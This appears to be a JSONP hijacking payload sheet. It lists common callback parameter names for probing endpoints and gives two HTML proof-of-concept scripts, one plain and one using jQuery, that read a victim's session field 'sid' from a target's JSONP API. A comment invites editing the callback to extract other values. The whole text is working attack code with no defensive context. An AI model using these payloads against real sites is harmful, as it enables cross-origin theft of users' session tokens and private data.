_callback=xxx_cb=xxxcallback=xxxcb=xxxjsonp=xxxjsonpcallback=xxxjsonpcb=xxxjsonp_cb=xxxjson=xxxjsoncallback=xxxjcb=xxxcall=xxxcallBack=xxxjsonpCallback=xxxjsonpCb=xxxjsonp_Cb=xxxjsonCallback=xxxca=xxx

<script>function xxx(data){  alert(data.sid);//修改这里，就可以获取里面对应的值}</script><script src="http://target/api.html?&callback=xxx"></script>

<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script><script type="text/javascript">    $.getJSON("http://target/api.html?callback=?", function(data){          alert(data.sid);    });</script>